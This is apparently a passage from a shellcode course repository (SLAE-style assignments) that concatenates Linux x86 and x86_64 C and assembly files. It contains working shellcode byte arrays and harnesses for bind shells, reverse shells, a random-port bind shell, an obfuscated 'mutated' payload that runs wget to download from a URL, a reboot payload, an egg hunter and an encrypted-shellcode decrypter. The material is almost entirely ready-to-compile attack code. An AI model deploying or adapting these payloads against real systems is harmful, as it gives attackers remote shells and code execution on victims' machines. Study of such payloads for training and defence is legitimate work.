19 | You should have received a copy of the GNU General Public License
20 | along with this program. If not, see .
21 |
22 | */
23 |
24 | /*
25 |
26 | mutated_reboot_shellcode
27 |
28 | * 55 bytes
29 | * null-free
30 | * mutated isn't polymorphic (shellcode does not replicate itself to be called polymorphic)
31 |
32 |
33 | # gcc -m32 -fno-stack-protector -z execstack mutated_reboot_shellcode.c -o mutated_reboot_shellcode
34 |
35 | Testing
36 | * Only run it in a Virtual Machine!!! Your system will crash. Use at your own risk!
37 | * To work properly, you must be su!
38 |
39 | */
40 |
41 |
42 | #include
43 | #include
44 |
45 | unsigned char shellcode[] = \
46 |
47 | "\x29\xff\x74\x01\xe8\x83\xc7\x24\x97\xeb"
48 | "\x01\xe1\xcd\x80\xeb\x01\xff\x6a\x29\x59"
49 | "\xeb\x01\x01\xbb\x67\x45\x23\x01\xba\xca"
50 | "\x9b\xc2\xff\x31\xda\x75\x01\xe7\x87\xda"
51 | "\x8d\x41\x2f\x8d\x89\x40\x19\x12\x28\xeb"
52 | "\x02\xe8\x01\xcd\x80";
53 |
54 |
55 | main ()
56 | {
57 |
58 | // When contains null bytes, printf will show a wrong shellcode length.
59 |
60 | printf("Shellcode Length: %d\n", strlen(shellcode));
61 |
62 | // Pollutes all registers ensuring that the shellcode runs in any circumstance.
63 |
64 | __asm__ ("movl $0xffffffff, %eax\n\t"
65 | "movl %eax, %ebx\n\t"
66 | "movl %eax, %ecx\n\t"
67 | "movl %eax, %edx\n\t"
68 | "movl %eax, %esi\n\t"
69 | "movl %eax, %edi\n\t"
70 | "movl %eax, %ebp\n\t"
71 |
72 | // Calling the shellcode
73 | "call shellcode");
74 |
75 | }
76 |
--------------------------------------------------------------------------------
/improvements/tiny_shell_bind_tcp_shellcode.c:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Tiny Shell Bind TCP Shellcode - C Language - Linux/x86
4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits
5 |
6 | http://hackingbits.com
7 | geyslan@gmail.com
8 |
9 | This program is free software: you can redistribute it and/or modify
10 | it under the terms of the GNU General Public License as published by
11 | the Free Software Foundation, either version 3 of the License, or
12 | (at your option) any later version.
13 |
14 | This program is distributed in the hope that it will be useful,
15 | but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | GNU General Public License for more details.
18 |
19 | You should have received a copy of the GNU General Public License
20 | along with this program. If not, see .
21 |
22 | */
23 |
24 |
25 | /*
26 |
27 | tiny_shell_bind_tcp_shellcode
28 |
29 | * 73 bytes
30 | * null-free if the port is
31 |
32 |
33 | # gcc -m32 -fno-stack-protector -z execstack tiny_shell_bind_tcp_shellcode.c -o tiny_shell_bind_tcp_shellcode
34 |
35 | Testing
36 | # ./tiny_shell_bind_tcp_shellcode
37 | # nc 127.0.0.1 11111
38 |
39 | */
40 |
41 |
42 | #include
43 | #include
44 |
45 | unsigned char code[] = \
46 |
47 | "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a"
48 | "\x02\x89\xe1\xcd\x80\x5b\x5e\x52\x66\x68"
49 | "\x2b\x67\x6a\x10\x51\x50\xb0\x66\x89\xe1"
50 | "\xcd\x80\x89\x51\x04\xb0\x66\xb3\x04\xcd"
51 | "\x80\xb0\x66\x43\xcd\x80\x59\x93\x6a\x3f"
52 | "\x58\xcd\x80\x49\x79\xf8\xb0\x0b\x68\x2f"
53 | "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
54 | "\x41\xcd\x80";
55 |
56 | main ()
57 | {
58 |
59 | // When the Port contains null bytes, printf will show a wrong shellcode length.
60 |
61 | printf("Shellcode Length: %d\n", strlen(code));
62 |
63 | // Pollutes all registers ensuring that the shellcode runs in any circumstance.
64 |
65 | __asm__ ("movl $0xffffffff, %eax\n\t"
66 | "movl %eax, %ebx\n\t"
67 | "movl %eax, %ecx\n\t"
68 | "movl %eax, %edx\n\t"
69 | "movl %eax, %esi\n\t"
70 | "movl %eax, %edi\n\t"
71 | "movl %eax, %ebp\n\t"
72 |
73 | // Setting the port
74 | "movw $0x672b, (code+20)\n\t"
75 |
76 | // Calling the shellcode
77 | "call code");
78 |
79 | }
80 |
--------------------------------------------------------------------------------
/1st.assignment/shell_bind_tcp.c:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Shell Bind TCP - C Language - Linux/x86
4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits
5 |
6 | http://hackingbits.com
7 | geyslan@gmail.com
8 |
9 | This program is free software: you can redistribute it and/or modify
10 | it under the terms of the GNU General Public License as published by
11 | the Free Software Foundation, either version 3 of the License, or
12 | (at your option) any later version.
13 |
14 | This program is distributed in the hope that it will be useful,
15 | but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | GNU General Public License for more details.
18 |
19 | You should have received a copy of the GNU General Public License
20 | along with this program. If not, see .
21 |
22 | */
23 |
24 | /*
25 |
26 | shell_bind_tcp
27 |
28 | * avoids SIGSEGV when reconnecting, setting SO_REUSEADDR (TIME_WAIT)
29 |
30 |
31 | # gcc -m32 shell_bind_tcp.c -o shell_bind_tcp
32 | # ./shell_bind_tcp
33 |
34 | Testing
35 | # nc 127.0.0.1 11111
36 |
37 | */
38 |
39 | #include
40 | #include
41 | #include
42 | #include
43 | #include
44 |
45 | int main()
46 | {
47 |
48 | int resultfd, sockfd;
49 | int port = 11111;
50 | struct sockaddr_in my_addr;
51 |
52 | // syscall 102
53 | // int socketcall(int call, unsigned long *args);
54 |
55 | // sycall socketcall (sys_socket 1)
56 | sockfd = socket(AF_INET, SOCK_STREAM, 0);
57 |
58 | // syscall socketcall (sys_setsockopt 14)
59 | int one = 1;
60 | setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
61 |
62 | // set struct values
63 | my_addr.sin_family = AF_INET; // 2
64 | my_addr.sin_port = htons(port); // port number
65 | my_addr.sin_addr.s_addr = INADDR_ANY; // 0 fill with the local IP
66 |
67 | // syscall socketcall (sys_bind 2)
68 | bind(sockfd, (struct sockaddr *) &my_addr, sizeof(my_addr));
69 |
70 | // syscall socketcall (sys_listen 4)
71 | listen(sockfd, 0);
72 |
73 | // syscall socketcall (sys_accept 5)
74 | resultfd = accept(sockfd, NULL, NULL);
75 |
76 | // syscall 63
77 | dup2(resultfd, 2);
78 | dup2(resultfd, 1);
79 | dup2(resultfd, 0);
80 |
81 | // syscall 11
82 | execve("/bin/sh", NULL, NULL);
83 |
84 | return 0;
85 | }
86 |
--------------------------------------------------------------------------------
/improvements/tiny_shell_reverse_tcp_shellcode.c:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Tiny Shell Reverse TCP Shellcode - C Language - Linux/x86
4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits
5 |
6 | http://hackingbits.com
7 | geyslan@gmail.com
8 |
9 | This program is free software: you can redistribute it and/or modify
10 | it under the terms of the GNU General Public License as published by
11 | the Free Software Foundation, either version 3 of the License, or
12 | (at your option) any later version.
13 |
14 | This program is distributed in the hope that it will be useful,
15 | but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | GNU General Public License for more details.
18 |
19 | You should have received a copy of the GNU General Public License
20 | along with this program. If not, see .
21 |
22 | */
23 |
24 |
25 | /*
26 |
27 | tiny_shell_reverse_tcp_shellcode
28 |
29 | * 67 bytes
30 | * null-free if the IP and port are
31 |
32 |
33 | # gcc -m32 -fno-stack-protector -z execstack tiny_shell_reverse_tcp_shellcode.c -o tiny_shell_reverse_tcp_shellcode
34 |
35 | Testing
36 | # nc -l 127.1.1.1 11111
37 | # ./tiny_shell_reverse_tcp_shellcode
38 |
39 | */
40 |
41 |
42 | #include
43 | #include
44 |
45 | unsigned char code[] = \
46 |
47 | "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a"
48 | "\x02\x89\xe1\xcd\x80\x59\x93\xb0\x3f\xcd"
49 | "\x80\x49\x79\xf9\xb0\x66\x68\x7f\x01\x01"
50 | "\x01\x66\x68\x2b\x67\x66\x6a\x02\x89\xe1"
51 | "\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b"
52 | "\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
53 | "\x6e\x89\xe3\x31\xc9\xcd\x80";
54 |
55 | main ()
56 | {
57 |
58 | // When the Port contains null bytes, printf will show a wrong shellcode length.
59 |
60 | printf("Shellcode Length: %d\n", strlen(code));
61 |
62 | // Pollutes all registers ensuring that the shellcode runs in any circumstance.
63 |
64 | __asm__ ("movl $0xffffffff, %eax\n\t"
65 | "movl %eax, %ebx\n\t"
66 | "movl %eax, %ecx\n\t"
67 | "movl %eax, %edx\n\t"
68 | "movl %eax, %esi\n\t"
69 | "movl %eax, %edi\n\t"
70 | "movl %eax, %ebp\n\t"
71 |
72 | // Setting the IP
73 | "movl $0x0101017f, (code+27)\n\t"
74 |
75 | // Setting the port
76 | "movw $0x672b, (code+33)\n\t"
77 |
78 | // Calling the shellcode
79 | "call code");
80 |
81 | }
82 |
--------------------------------------------------------------------------------
/2nd.assignment/shellcode.c:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Shell Reverse TCP Shellcode - C Language - Linux/x86
4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits
5 |
6 | http://hackingbits.com
7 | geyslan@gmail.com
8 |
9 | This program is free software: you can redistribute it and/or modify
10 | it under the terms of the GNU General Public License as published by
11 | the Free Software Foundation, either version 3 of the License, or
12 | (at your option) any later version.
13 |
14 | This program is distributed in the hope that it will be useful,
15 | but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | GNU General Public License for more details.
18 |
19 | You should have received a copy of the GNU General Public License
20 | along with this program. If not, see .
21 |
22 | */
23 |
24 | /*
25 |
26 | shell_reverse_tcp_shellcode
27 |
28 | * 72 bytes
29 | * null-bytes free if the port and address are
30 | * the ip address and port number are easily changeable (2nd to 5th bytes are the IP) and (9th and 10th are the Port)
31 |
32 |
33 | # gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
34 | # ./shellcode
35 |
36 | Testing
37 | # nc -l 127.1.1.1 55555
38 | # ./shellcode
39 |
40 | */
41 |
42 | #include
43 | #include
44 |
45 | unsigned char code[] = \
46 |
47 | "\x68"
48 | "\x7f\x01\x01\x01" // <- IP Number "127.1.1.1"
49 | "\x5e\x66\x68"
50 | "\xd9\x03" // <- Port Number "55555"
51 | "\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"
52 | "\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"
53 | "\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"
54 | "\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"
55 | "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
56 | "\xeb\xce";
57 |
58 | main ()
59 | {
60 |
61 | // When the IP contains null-bytes, printf will show a wrong shellcode length.
62 |
63 | printf("Shellcode Length: %d\n", strlen(code));
64 |
65 | // Pollutes all registers ensuring that the shellcode runs in any circumstance.
66 |
67 | __asm__ ("movl $0xffffffff, %eax\n\t"
68 | "movl %eax, %ebx\n\t"
69 | "movl %eax, %ecx\n\t"
70 | "movl %eax, %edx\n\t"
71 | "movl %eax, %esi\n\t"
72 | "movl %eax, %edi\n\t"
73 | "movl %eax, %ebp");
74 |
75 | int (*ret)() = (int(*)())code;
76 |
77 | ret();
78 |
79 | }
80 |
--------------------------------------------------------------------------------
/improvements/tiny_shell_bind_tcp_random_port_shellcode.c:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Tiny Shell Bind TCP Random Port Shellcode - C Language - Linux/x86
4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits
5 |
6 | http://hackingbits.com
7 | geyslan@gmail.com
8 |
9 | This program is free software: you can redistribute it and/or modify
10 | it under the terms of the GNU General Public License as published by
11 | the Free Software Foundation, either version 3 of the License, or
12 | (at your option) any later version.
13 |
14 | This program is distributed in the hope that it will be useful,
15 | but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | GNU General Public License for more details.
18 |
19 | You should have received a copy of the GNU General Public License
20 | along with this program. If not, see .
21 |
22 | */
23 |
24 |
25 | /*
26 |
27 | tiny_shell_bind_tcp_random_port_shellcode
28 |
29 | * 57 bytes
30 | * null-free
31 |
32 |
33 | # gcc -m32 -fno-stack-protector -z execstack tiny_shell_bind_tcp_random_port_shellcode.c -o tiny_shell_bind_tcp_random_port_shellcode
34 |
35 | Testing
36 | # ./tiny_shell_bind_tcp_random_port_shellcode
37 | # netstat -anp | grep shell
38 | # nmap -sS 127.0.0.1 -p- (It's necessary to use the TCP SYN scan option [-sS]; thus avoids that nmap connects to the port open by shellcode)
39 | # nc 127.0.0.1 port
40 |
41 | */
42 |
43 |
44 | #include
45 | #include
46 |
47 | unsigned char code[] = \
48 |
49 | "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a"
50 | "\x02\x89\xe1\xcd\x80\x52\x50\x89\xe1\xb0"
51 | "\x66\xb3\x04\xcd\x80\xb0\x66\x43\xcd\x80"
52 | "\x59\x93\x6a\x3f\x58\xcd\x80\x49\x79\xf8"
53 | "\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62"
54 | "\x69\x6e\x89\xe3\x41\xcd\x80";
55 |
56 | main ()
57 | {
58 |
59 | // When contains null bytes, printf will show a wrong shellcode length.
60 |
61 | printf("Shellcode Length: %d\n", strlen(code));
62 |
63 | // Pollutes all registers ensuring that the shellcode runs in any circumstance.
64 |
65 | __asm__ ("movl $0xffffffff, %eax\n\t"
66 | "movl %eax, %ebx\n\t"
67 | "movl %eax, %ecx\n\t"
68 | "movl %eax, %edx\n\t"
69 | "movl %eax, %esi\n\t"
70 | "movl %eax, %edi\n\t"
71 | "movl %eax, %ebp\n\t"
72 |
73 | // Calling the shellcode
74 | "call code");
75 |
76 | }
77 |
--------------------------------------------------------------------------------
/6th.assignment/mutated_execve_wget.asm:
--------------------------------------------------------------------------------
1 | ; Mutated Execve Wget - Assembly Language - Linux/x86
2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits
3 | ;
4 | ; http://hackingbits.com
5 | ; geyslan@gmail.com
6 | ;
7 | ; This program is free software: you can redistribute it and/or modify
8 | ; it under the terms of the GNU General Public License as published by
9 | ; the Free Software Foundation, either version 3 of the License, or
10 | ; (at your option) any later version.
11 | ;
12 | ; This program is distributed in the hope that it will be useful,
13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | ; GNU General Public License for more details.
16 | ;
17 | ; You should have received a copy of the GNU General Public License
18 | ; along with this program. If not, see .
19 |
20 |
21 | ; mutated_execve_wget
22 | ;
23 | ; * 96 bytes
24 | ; * null-free
25 | ; * mutated isn't polymorphic (shellcode does not replicate itself to be called polymorphic)
26 | ;
27 | ;
28 | ; # nasm -f elf32 mutated_execve_wget.asm
29 | ; # ld -m elf_i386 mutated_execve_wget.o -o mutated_execve_wget
30 | ; # for i in $(objdump -d mutated_execve_wget |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
31 | ;
32 | ; Testing
33 | ; # ./mutated_execve_wget
34 |
35 |
36 | global _start
37 |
38 | section .text
39 |
40 | _start:
41 | ; int execve(const char *path, char *const argv[], char *const envp[]);
42 | ; execve(["/usr/bin/wget", 0], [["/usr/bin/wget", 0], "url", 0], 0)
43 |
44 | jmp $+3
45 | db 0xe8
46 | sub ebx, ebx
47 | jz $+3
48 | db 0x83
49 | mul ebx
50 | mov ebp, -11
51 |
52 |
53 | jmp $+3
54 | db 0xe8
55 | push 0x72456541
56 | sub esi, esi
57 | jz $+3
58 | db 0x83
59 | pop esi
60 | push esi
61 | xor esi, 0x3e1f4a25
62 | push esi
63 |
64 | jmp $+3
65 | db 0x33
66 | push 0x672e7369
67 | mov [esp+12], eax
68 | mov ecx, esp
69 |
70 |
71 | ; /usr/bin/wget
72 |
73 | push 0x74
74 | jmp $+3
75 | db 0xe3
76 | push 0x6567772f
77 | jmp $+3
78 | db 0x83
79 | push 0x6e69622f
80 | jmp $+3
81 | db 0x33
82 | push 0x7273752f
83 | lea ebx, [esp]
84 |
85 | jmp $+3
86 | db 0x83
87 | push eax
88 | push ecx ; argv address
89 | push ebx ; file name address
90 | mov ecx, esp ; pointer to the file name and argv
91 |
92 | neg ebp
93 |
94 | xchg eax, ebp
95 | jmp $+3
96 | db 0x83
97 | int 0x80
98 |
--------------------------------------------------------------------------------
/6th.assignment/mutated_execve_wget_shellcode.c:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Mutated Execve Wget Shellcode - C Language - Linux/x86
4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits
5 |
6 | http://hackingbits.com
7 | geyslan@gmail.com
8 |
9 | This program is free software: you can redistribute it and/or modify
10 | it under the terms of the GNU General Public License as published by
11 | the Free Software Foundation, either version 3 of the License, or
12 | (at your option) any later version.
13 |
14 | This program is distributed in the hope that it will be useful,
15 | but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | GNU General Public License for more details.
18 |
19 | You should have received a copy of the GNU General Public License
20 | along with this program. If not, see .
21 |
22 | */
23 |
24 | /*
25 |
26 | mutated_execve_wget_shellcode
27 |
28 | * 96 bytes
29 | * null-free
30 | * mutated isn't polymorphic (shellcode does not replicate itself to be called polymorphic)
31 |
32 |
33 | # gcc -m32 -fno-stack-protector -z execstack mutated_execve_wget_shellcode.c -o mutated_execve_wget_shellcode
34 |
35 | Testing
36 | # ./mutated_execve_wget_shellcode
37 |
38 | */
39 |
40 |
41 | #include
42 | #include
43 |
44 | unsigned char shellcode[] = \
45 |
46 | "\xeb\x01\xe8\x29\xdb\x74\x01\x83\xf7\xe3"
47 | "\xbd\xf5\xff\xff\xff\xeb\x01\xe8\x68\x41"
48 | "\x65\x45\x72\x29\xf6\x74\x01\x83\x5e\x56"
49 | "\x81\xf6\x25\x4a\x1f\x3e\x56\xeb\x01\x33"
50 | "\x68\x69\x73\x2e\x67\x89\x44\x24\x0c\x89"
51 | "\xe1\x6a\x74\xeb\x01\xe3\x68\x2f\x77\x67"
52 | "\x65\xeb\x01\x83\x68\x2f\x62\x69\x6e\xeb"
53 | "\x01\x33\x68\x2f\x75\x73\x72\x8d\x1c\x24"
54 | "\xeb\x01\x83\x50\x51\x53\x89\xe1\xf7\xdd"
55 | "\x95\xeb\x01\x83\xcd\x80";
56 |
57 |
58 | main ()
59 | {
60 |
61 | // When contains null bytes, printf will show a wrong shellcode length.
62 |
63 | printf("Shellcode Length: %d\n", strlen(shellcode));
64 |
65 | // Pollutes all registers ensuring that the shellcode runs in any circumstance.
66 |
67 | __asm__ ("movl $0xffffffff, %eax\n\t"
68 | "movl %eax, %ebx\n\t"
69 | "movl %eax, %ecx\n\t"
70 | "movl %eax, %edx\n\t"
71 | "movl %eax, %esi\n\t"
72 | "movl %eax, %edi\n\t"
73 | "movl %eax, %ebp\n\t"
74 |
75 | // Calling the shellcode
76 | "call shellcode");
77 |
78 | }
79 |
--------------------------------------------------------------------------------
/improvements/shell_bind_tcp_getpc_shellcode.c:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Shell Bind TCP (GetPC/Call/Ret Method) Shellcode - C Language - Linux/x86
4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits
5 |
6 | http://hackingbits.com
7 | geyslan@gmail.com
8 |
9 | This program is free software: you can redistribute it and/or modify
10 | it under the terms of the GNU General Public License as published by
11 | the Free Software Foundation, either version 3 of the License, or
12 | (at your option) any later version.
13 |
14 | This program is distributed in the hope that it will be useful,
15 | but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | GNU General Public License for more details.
18 |
19 | You should have received a copy of the GNU General Public License
20 | along with this program. If not, see .
21 |
22 | */
23 |
24 |
25 | /*
26 |
27 | shell_bind_tcp_getpc_shellcode
28 |
29 | * 89 bytes
30 | * null-bytes free
31 | * uses GetPC method for fun and profit
32 |
33 |
34 | # gcc -m32 -fno-stack-protector -z execstack shell_bind_tcp_getpc_shellcode.c -o shell_bind_tcp_getpc_shellcode
35 | # ./shell_bind_tcp_getpc_shellcode
36 |
37 | Testing
38 | # nc 127.0.0.1 11111
39 |
40 | */
41 |
42 |
43 | #include
44 | #include
45 |
46 | unsigned char code[] = \
47 |
48 | "\xe8\xff\xff\xff\xff\xc3\x5d\x8d\x6d\x4a\x31\xc0"
49 | "\x99\x6a\x01\x5b\x52\x53\x6a\x02\xff\xd5\x96\x5b"
50 | "\x52\x66\x68\x2b\x67\x66\x53\x89\xe1\x6a\x10\x51"
51 | "\x56\xff\xd5\x43\x43\x52\x56\xff\xd5\x43\x52\x52"
52 | "\x56\xff\xd5\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9"
53 | "\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
54 | "\x6e\x89\xe3\x52\x53\xeb\x04\x5f\x6a\x66\x58\x89"
55 | "\xe1\xcd\x80\x57\xc3";
56 |
57 | main ()
58 | {
59 |
60 | // When the IP contains null-bytes, printf will show a wrong shellcode length.
61 |
62 | printf("Shellcode Length: %d\n", strlen(code));
63 |
64 | // Pollutes all registers ensuring that the shellcode runs in any circumstance.
65 |
66 | __asm__ ("movl $0xffffffff, %eax\n\t"
67 | "movl %eax, %ebx\n\t"
68 | "movl %eax, %ecx\n\t"
69 | "movl %eax, %edx\n\t"
70 | "movl %eax, %esi\n\t"
71 | "movl %eax, %edi\n\t"
72 | "movl %eax, %ebp\n\t"
73 |
74 |
75 | // Setting the port number (byte reverse order) and Calling the shellcode
76 |
77 | "movw $0x672b, (code+27)\n\t"
78 | "call code");
79 |
80 | }
81 |
--------------------------------------------------------------------------------
/3rd.assignment/egg_hunter.asm:
--------------------------------------------------------------------------------
1 | ; Egg Hunter - Assembly Language - Linux/x86
2 | ; Copyright (C) 2013 Geyslan G. Bem, Hacking bits
3 | ;
4 | ; http://hackingbits.com
5 | ; geyslan@gmail.com
6 | ;
7 | ; This program is free software: you can redistribute it and/or modify
8 | ; it under the terms of the GNU General Public License as published by
9 | ; the Free Software Foundation, either version 3 of the License, or
10 | ; (at your option) any later version.
11 | ;
12 | ; This program is distributed in the hope that it will be useful,
13 | ; but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | ; GNU General Public License for more details.
16 | ;
17 | ; You should have received a copy of the GNU General Public License
18 | ; along with this program. If not, see .
19 |
20 |
21 | ; egg_hunter
22 | ;
23 | ; * 38 bytes
24 | ; * null-free if the signature is
25 | ;
26 | ;
27 | ; # nasm -f elf32 egg_hunter.asm
28 | ; # ld -m elf_i386 egg_hunter.o -o egg_hunter
29 | ;
30 | ; Testing
31 | ; # ./egg_hunter
32 |
33 |
34 | global _start
35 |
36 | section .text
37 |
38 | _start:
39 | ; setting the registers
40 | cld ; clear the direction flag (DF) to use scasd correctly
41 | xor ecx, ecx
42 | mul ecx
43 | alignpage:
44 | ; align page
45 | or dx, 0xfff ; is the same as "add dx, 4095" (PAGE_SIZE)
46 | alignbyte:
47 | inc edx ; next memory offset
48 |
49 | ; Accessing the memory offset
50 | ; int access(const char *pathname, int mode);
51 | ; access(memoryaddress, 0)
52 |
53 | push 33 ; __NR_access 33
54 | pop eax
55 |
56 | lea ebx, [edx + 4] ; alignment to validate the last four bytes of the signature
57 |
58 | ; ecx already contains 0 (F_OK)
59 |
60 | int 0x80 ; kernel interruption
61 |
62 |
63 | ; verifies if memory is not readable (bad address = EFAULT = 0xf2 = -14)
64 | ; as the offset is not from a path name, access will never result 0, so we have to compare the error result with 0xf2
65 | cmp al, 0xf2
66 |
67 | ; if is not, loop
68 | jz alignpage
69 |
70 | ; compares the signature and increments 4 bytes in edi
71 | mov eax, 0x50905090 ; byte reverse order
72 | mov edi, edx
73 | scasd
74 |
75 | ; if is not equal, loop
76 | jnz alignbyte
77 |
78 | ; if is equal, compares the last signature 4 bytes and increments 4 bytes in edi again
79 | scasd
80 |
81 | ; if is not equal, loop
82 | jnz alignbyte
83 |
84 | ; if is equal, eat the egg
85 | jmp edi
86 |
--------------------------------------------------------------------------------
/improvements/shell_bind_tcp_random_port_shellcode_x86_64.c:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Shell Bind TCP Random Port Shellcode - C Language - Linux/x86_64
4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits
5 |
6 | http://hackingbits.com
7 | geyslan@gmail.com
8 |
9 | This program is free software: you can redistribute it and/or modify
10 | it under the terms of the GNU General Public License as published by
11 | the Free Software Foundation, either version 3 of the License, or
12 | (at your option) any later version.
13 |
14 | This program is distributed in the hope that it will be useful,
15 | but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | GNU General Public License for more details.
18 |
19 | You should have received a copy of the GNU General Public License
20 | along with this program. If not, see
21 |
22 | */
23 |
24 |
25 | /*
26 |
27 | shell_bind_tcp_random_port_shellcode_x86_64
28 | assembly source: https://github.com/geyslan/SLAE/blob/master/improvements/shell_bind_tcp_random_port_x86_64.asm
29 |
30 | * 57 bytes
31 | * null-free
32 |
33 |
34 | # gcc -m64 -fno-stack-protector -z execstack shell_bind_tcp_random_port_shellcode_x86_64.c -o shell_bind_tcp_random_port_shellcode_x86_64
35 |
36 | Testing
37 | # ./shell_bind_tcp_random_port_shellcode_x86_64
38 | # netstat -anp | grep shell
39 | # nmap -sS 127.0.0.1 -p- (It's necessary to use the TCP SYN scan option [-sS]; thus avoids that nmap connects to the port open by shellcode)
40 | # nc 127.0.0.1 port
41 |
42 | */
43 |
44 |
45 | #include
46 | #include
47 |
48 | unsigned char code[] = \
49 |
50 | "\x48\x31\xf6\x48\xf7\xe6\xff\xc6\x6a\x02"
51 | "\x5f\xb0\x29\x0f\x05\x52\x5e\x50\x5f\xb0"
52 | "\x32\x0f\x05\xb0\x2b\x0f\x05\x57\x5e\x48"
53 | "\x97\xff\xce\xb0\x21\x0f\x05\x75\xf8\x52"
54 | "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
55 | "\x57\x54\x5f\xb0\x3b\x0f\x05";
56 |
57 | main ()
58 | {
59 |
60 | // When contains null bytes, printf will show a wrong shellcode length.
61 |
62 | printf("Shellcode Length: %d\n", strlen(code));
63 |
64 | // Pollutes all registers ensuring that the shellcode runs in any circumstance.
65 |
66 | __asm__ ("mov $0xffffffffffffffff, %rax\n\t"
67 | "mov %rax, %rbx\n\t"
68 | "mov %rax, %rcx\n\t"
69 | "mov %rax, %rdx\n\t"
70 | "mov %rax, %rsi\n\t"
71 | "mov %rax, %rdi\n\t"
72 | "mov %rax, %rbp\n\t"
73 |
74 | // Calling the shellcode
75 | "call code");
76 |
77 | }
78 |
--------------------------------------------------------------------------------
/7th.assignment/uzumaki_decrypter_shellcode.c:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Uzumaki Decrypter Shellcode - C Language - Linux/x86
4 | Copyright (C) 2013 Geyslan G. Bem, Hacking bits
5 |
6 | http://hackingbits.com
7 | geyslan@gmail.com
8 |
9 | This program is free software: you can redistribute it and/or modify
10 | it under the terms of the GNU General Public License as published by
11 | the Free Software Foundation, either version 3 of the License, or
12 | (at your option) any later version.
13 |
14 | This program is distributed in the hope that it will be useful,
15 | but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | GNU General Public License for more details.
18 |
19 | You should have received a copy of the GNU General Public License
20 | along with this program. If not, see .
21 |
22 | */
23 |
24 | /*
25 |
26 | uzumaki_decrypter_shellcode
27 |
28 | * decrypter has 29 bytes (the final amount depends on the shellcode length)
29 | * it decrypts the uzumaki cipher, a custom stream cipher algorithm ( (XOR [static] and XOR [pseudorandom]), ADD [static] )
30 | * to encrypt the shellcode use the Uzumaki Crypter
31 | * null-free
32 |
33 |
34 | # gcc -m32 -fno-stack-protector -z execstack uzumaki_decrypter_shellcode.c -o uzumaki_decrypter_shellcode
35 |
36 | Testing
37 | # ./uzumaki_decrypter_shellcode
38 |
39 | */
40 |
41 |
42 | #include
43 | #include
44 |
45 | unsigned char shellcode[] = \
46 |
47 | // Shellcode Decrypter
48 | "\x29\xc9\x74\x14\x5e\xb1"
49 | "\x14" // <- shellcode length
50 | "\x46\x8b\x06\x83\xe8"
51 | "\x09" // <- ADD key
52 | "\x34"
53 | "\x9f" // <- XOR key
54 | "\x32\x46\xff\x88\x06\xe2\xf1\xeb\x05\xe8"
55 | "\xe7\xff\xff\xff"
56 |
57 | // Crypted Shellcode
58 | "\x31\x70\xaa\x92\xd7\x2d\xce\xaf\xe1\xa8"
59 | "\xcc\x8d\xa8\xe1\xdb\x9d\xa1\x81\xfe\xba"
60 | "\xdb";
61 |
62 |
63 | main ()
64 | {
65 |
66 | // When contains null bytes, printf will show a wrong shellcode length.
67 |
68 | printf("Shellcode Length: %d\n", strlen(shellcode));
69 |
70 | // Pollutes all registers ensuring that the shellcode runs in any circumstance.
71 |
